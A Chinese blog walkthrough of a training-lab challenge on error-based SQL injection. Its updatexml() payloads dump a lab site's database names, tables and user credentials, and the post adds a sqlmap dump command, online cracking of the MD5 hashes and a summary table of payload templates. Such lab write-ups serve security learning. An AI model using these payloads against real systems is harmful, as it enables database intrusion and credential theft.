题目链接:SQL注入漏洞测试(报错盲注)
最近压力好大,很久没有更新博文了~
(●'◡'●)又叕见面了,熟悉的页面,熟悉的用户登录框,熟悉的平台停机维护通知滚动链接~
这些就是已知的条件啦~
工具:sqlmap(非必要)
参考:评论区大佬 初冬123 的留言
1 判断注入点
测试停机维护的网页是否存在字符型注入点,在url后加一个用于闭合的单引号就可以~
http://124.70.71.251:41801/new_list.php?id=1'
网页报错,这个就是明显的注入点啦~
2 判断字段数
其次,判断当前数据库的字段数(列数),在指令前增加单引号闭合,指令后增加双短线注释就可以~
http://124.70.71.251:44613/new_list.php?id=1' order by 1 --+
网页正常,说明order by 1是正确指令,我们换成2、3、4逐渐尝试,发现输出是一致的,说明至少是存在4个字段的~
直到输入order by 5时,页面报错,说明语句执行失败,当前数据库的字段仅有4列~
http://124.70.71.251:44613/new_list.php?id=1' union select 1,2,3,4 --+
通常数字1,2,3,4哪个数字会在页面有回显,就说明哪个字段注入就是最方便的~
可惜页面没有回显数字,直接报错了,哎~~可能是union select被禁掉了~所以需要使用函数updatexml()、extractvalue()进行报错注入~
update报错注入参考1:updatexml报错注入原理_开心星人的博客-CSDN博客
update报错注入参考2:报错注入的原理分析_美创安全实验室的博客-CSDN博客
4 查询数据库名称
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
payload是红色的字符,其余大概就是报错用的马甲~
http://124.70.71.251:44613/new_list.php?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
执行结果,该数据库的名称为:stormgroup~
5 查询数据库表名
select group_concat(table_name) from information_schema.tables where table_schema= '库名'
{在数据库中查询所有数字库表信息(information_schema.tables数据表保存了MySQL服务器所有数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等,详见information_schema表),合并输出其中的数据表名group_concat(table_name)~}
http://124.70.71.251:44613/new_list.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'stormgroup'),0x7e),1)--+
嗯?好像是失败了,页面报错了,根据回显应该是语法有问题,去掉group_concat()试一下~
http://124.70.71.251:44613/new_list.php?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'stormgroup'),0x7e),1)--+
嗯...好像又失败了,查询的结果不能多于1个~
http://124.70.71.251:44613/new_list.php?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'stormgroup' limit 0,1),0x7e),1)--+
这次成功了,输入结果如下图所示,表名:member
同理把limit(0,1)换成limit(1,2)还可以查询出另一个表名notice,虽然这个表名目测起来平平无奇~
所以目前存着两个表:(1)member(2)notice~
6 查询字段名称
union select column_name from information_schema.columns where table_name='表名'
{在所有数字库表信息information_schema.columns中查询数据库'表名'table_name,输出其中的字段名column_name~}
http://124.70.71.251:44613/new_list.php?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'member' limit 0,1),0x7e),1)--+
输入结果如下图所示~
将limit(0,1)两个数字分别递增替换limit(1,1),limit(2,2),可以发现字段名有三个:(1)name (2)password (3)status~
7 查询字段内容
在字段2和3处输入 查询字段内容 的命令~
select 字段名 from 表名
http://124.70.71.251:44613/new_list.php?id=1' and updatexml(1,concat(0x7e,(select name from member limit 0,1),0x7e),1)--+
查询到用户名:mozhe
http://124.70.71.251:44613/new_list.php?id=1' and updatexml(1,concat(0x7e,(select password from member limit 0,1),0x7e),1)--+
查询到密码:3114b433dece9180717f2b7de56b28a,这是个31位的md5,气不气~
将limit(0,1)改成limit(1,1),查询到密码:9c949213b6100d58dea4ea1268842c6,也是31位~
emm,也没什么关系,可能截断输出了,此时把0x7e和查询语句换个位置就能找出最后一位了~
http://124.70.71.251:44613/new_list.php?id=1' and updatexml(1,concat((select password from member limit 0,1),0x7e,0x7e),1)--+
所以查询到的两个md5码:
密码1:3114b433dece9180717f2b7de56b28a3(MD5码)
密码2:9c949213b6100d58dea4ea1268842c6a(MD5码)
ps:如果只限制查询语句,没截断页面输出长度的话,用下面的语句也可以~
http://124.70.71.251:44613/new_list.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(name,'~',password) from member),0x7e),1)--+
呃,嫌弃这个手注坑的也可以用sqlmap,这里我们省去前面查表的步骤,直接在库(-D stormgroup)表(-T member)字段名下跑字段内容(name、password),且自动处理问题(--batch)~
python sqlmap.py -u http://124.70.71.251:42378/new_list.php?id=1 -D stormgroup -T member -C name,password --dump —batch
8 md5解密
免费无注册解密网站:Cmd5 - MD5 Online ,MD5 Decryption, MD5 Hash Decoder
密码1:528469
密码2:984767
返回最初的登录页面,输入用户名:mozhe、密码:984767,登录结果如下图~
KEY:mozhe860a74377946ace1d8ecadc359e
总结:
1 整个MySQL数据库-字符型报错注入流程使用到以下语句~
语句 | 功能 |
' |
判断注入点 |
'order by 5 --+ | 判断字段数 |
id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ | 查询数据库名称 |
id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = '库名'),0x7e),1)--+ | 查询数据库表名 |
id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = '表名'),0x7e),1)--+ | 查询字段名称 |
id=1' and updatexml(1,concat(0x7e,(select 字段名 from 表名),0x7e),1)--+ | 查询字段内容1 |
id=1' and updatexml(1,concat(0x7e,(select group_concat(name,'~',password) from member),0x7e),1)--+ | 查询字段内容2 |
2 若对于SQL注入类题目有兴趣,也可移步这篇杂烩博文~CTF 总结03:SQL注入
码字不易,若有所帮助,可以点赞支持一下博主嘛?感谢~(●'◡'●)
话说最近手工注入练得人都麻了...水这么多文都快变成波塞冬了~::>_<::